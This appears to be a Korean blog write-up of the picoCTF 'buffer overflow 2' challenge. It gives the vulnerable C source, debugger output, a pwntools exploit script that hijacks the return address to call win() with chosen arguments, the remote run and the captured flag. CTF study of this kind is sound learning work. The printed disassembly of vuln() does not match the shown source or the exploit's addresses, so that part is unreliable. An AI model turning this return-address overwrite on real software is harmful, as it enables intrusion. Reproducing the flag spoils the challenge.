System Hacking/인터루드 스터디

[picoCTF] buffer overflow 2

daaaay 2026. 4. 2. 19:05

문제

 
문제파일 다운받기

 
 
 이 폴더로 옮겨주기

 
 

코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

 
 

gdb 실행

gdb vuln

 

info func
pwndbg> info func
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001100  __cxa_finalize@plt
0x00001110  printf@plt
0x00001120  fflush@plt
0x00001130  gets@plt
0x00001140  fgets@plt
0x00001150  signal@plt
0x00001160  getegid@plt
0x00001170  strcpy@plt
0x00001180  puts@plt
0x00001190  exit@plt
0x000011a0  __libc_start_main@plt
0x000011b0  fopen@plt
0x000011c0  setresgid@plt
0x000011d0  _start
0x00001210  __x86.get_pc_thunk.bx
0x00001220  deregister_tm_clones
0x00001260  register_tm_clones
0x000012b0  __do_global_dtors_aux
0x00001300  frame_dummy
0x00001309  __x86.get_pc_thunk.dx
0x0000130d  sigsegv_handler
0x00001353  vuln
0x00001382  main
0x0000149b  __x86.get_pc_thunk.ax
0x000014a0  __libc_csu_init
0x00001510  __libc_csu_fini
0x00001515  __x86.get_pc_thunk.bp
0x0000151c  _fini

 
 

disass vuln
pwndbg> disass vuln
Dump of assembler code for function vuln:
   0x00001353 <+0>:     endbr32
   0x00001357 <+4>:     push   ebp
   0x00001358 <+5>:     mov    ebp,esp
   0x0000135a <+7>:     push   ebx
   0x0000135b <+8>:     sub    esp,0x14
   0x0000135e <+11>:    call   0x149b <__x86.get_pc_thunk.ax>
   0x00001363 <+16>:    add    eax,0x2c49
   0x00001368 <+21>:    sub    esp,0x8
   0x0000136b <+24>:    push   DWORD PTR [ebp+0x8]
   0x0000136e <+27>:    lea    edx,[ebp-0x18]
   0x00001371 <+30>:    push   edx
   0x00001372 <+31>:    mov    ebx,eax
   0x00001374 <+33>:    call   0x1170 <strcpy@plt>
   0x00001379 <+38>:    add    esp,0x10
   0x0000137c <+41>:    nop
   0x0000137d <+42>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x00001380 <+45>:    leave
   0x00001381 <+46>:    ret
End of assembler dump.

 
 

exploit

from pwn import *  

host = 'saturn.picoctf.net' 	#호스트 주소
port = 51463 			#포트 넘버(사바사) 

win_addr = 0x08049296 
valid_addr = 0x08049372		#존재하는 함수 주소(여기선 main()의 주소)

payload = b'A'*112 		#buf ~ ebp 크기
payload += p32(win_addr) 	#gets()의 ret -> win() 호출
payload += p32(valid_addr)	#win()의 ret
payload += p32(0xcafef00d)	#win()의 arg1값
payload += p32(0xf00df00d)	#win()의 arg2값

p = remote(host, port)
p.sendline(payload)

p.interactive()

 
익스플로잇 코드 작성할 파일 만들기

vi [파일명]

 

 
 
코드 작성하기 

 
:wq 
저장하고 나가기
 
 
python3 파일명
실행하기 

(venv) dada@LAPTOP-OTMC93DN:~/Interlude_System_Study$ python3 exploit2
[+] Opening connection to saturn.picoctf.net on port 51463: Done
[*] Switching to interactive mode
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\xf0\xfe\xca3\x04\x08
picoCTF{argum3nt5_4_d4yZ_59cd5643}Please enter your string:
[*] Got EOF while reading in interactive

 
 
플래그 

picoCTF{argum3nt5_4_d4yZ_59cd5643}

 
 
성공이다. 

'System Hacking > 인터루드 스터디' 카테고리의 다른 글

260514 [picoCTF] format string 1  (0) 2026.05.14
260514 [picoCTF] format string 0  (0) 2026.05.14
[picoCTF] buffer overflow 1  (0) 2026.04.02
[picoCTF:] buffer overflow 0  (0) 2026.04.02
[pwnable.kr] bof  (0) 2026.03.26